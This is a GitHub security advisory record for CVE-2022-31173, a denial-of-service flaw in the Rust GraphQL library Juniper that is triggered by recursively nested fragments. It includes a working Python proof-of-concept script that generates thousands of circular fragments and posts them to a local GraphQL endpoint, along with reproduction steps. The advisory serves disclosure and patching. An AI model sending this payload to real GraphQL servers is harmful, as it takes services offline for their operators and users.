{"id":"GHSA-4rx6-g5vg-5f3j","summary":"Juniper is vulnerable to @DOS GraphQL Nested Fragments overflow","details":"### GraphQL behaviour\n\nNested fragment in GraphQL might be quite hard to handle depending on the implementation language.\nSome language support natively a max recursion depth. However, on most compiled languages, you should add a threshold of recursion.\n\n```graphql\n# Infinite loop example\nquery {\n    ...a\n}\n\nfragment a on Query {\n    ...b\n}\n\nfragment b on Query {\n    ...a\n}\n```\n\n### POC TLDR\nWith max_size being the number of nested fragment generated.\nAt max_size=7500, it should instantly raise:\n\n![](https://i.imgur.com/wXbUx8l.png)\n\nHowever, with a lower size, you will overflow the memory after some iterations.\n\n### Reproduction steps (Juniper)\n\n```\ngit clone https://github.com/graphql-rust/juniper.git\ncd juniper\n```\n\nSave this POC as poc.py\n\n```python\nimport requests\nimport time\nimport json\nfrom itertools import permutations\n\nprint('=== Fragments POC ===')\n\nurl = 'http://localhost:8080/graphql'\n\nmax_size = 7500\nperms = [''.join(p) for p in permutations('abcefghijk')]\nperms = perms[:max_size]\n\nfragment_payloads = ''\nfor i, perm in enumerate(perms):\n    next_perm = perms[i+1] if i \u003c max_size-1 else perms[0]\n    fragment_payloads += f'fragment {perm} on Query' + '{' f'...{next_perm}' + '}'\n\npayload = {'query':'query{\\n  ...' + perms[0] + '\\n}' + fragment_payloads,'variables':{},'operationName':None}\n\nheaders = {\n  'Content-Type': 'application/json',\n}\n\ntry:\n    response = requests.request('POST', url, headers=headers, json=payload)\n    print(response.text)\nexcept requests.exceptions.ConnectionError:\n    print('Connection closed, POC worked.')\n```\n\n```\ncargo run\n[in separate shell] python3 poc.py\n```\n\n### Credits\n\n[@Escape-Technologies](https://escape.tech)\n\n@c3b5aw \n@MdotTIM \n@karimhreda \n","aliases":["CVE-2022-31173","RUSTSEC-2022-0038"],"modified":"2026-02-04T03:36:46.785082Z","published":"2022-07-29T22:29:22Z","related":["RUSTSEC-2022-0037"],"database_specific":{"cwe_ids":["CWE-400","CWE-674"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2022-07-29T22:29:22Z","nvd_published_at":"2022-08-01T19:15:00Z"},"references":[{"type":"WEB","url":"https://github.com/graphql-rust/juniper/security/advisories/GHSA-4rx6-g5vg-5f3j"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2022-31173"},{"type":"WEB","url":"https://github.com/graphql-rust/juniper/commit/2b609ee057be950e3454b69fadc431d120e407bb"},{"type":"WEB","url":"https://github.com/graphql-rust/juniper/commit/8d28cdba6eb10f53490ba41d1b5cb40506c2de22"},{"type":"PACKAGE","url":"https://github.com/graphql-rust/juniper"},{"type":"WEB","url":"https://github.com/graphql-rust/juniper/blob/juniper-v0.15.10/juniper/CHANGELOG.md#01510-2022-07-28"},{"type":"WEB","url":"https://rustsec.org/advisories/RUSTSEC-2022-0038.html"}],"affected":[{"package":{"name":"juniper","ecosystem":"crates.io","purl":"pkg:cargo/juniper"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.15.10"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/07/GHSA-4rx6-g5vg-5f3j/GHSA-4rx6-g5vg-5f3j.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}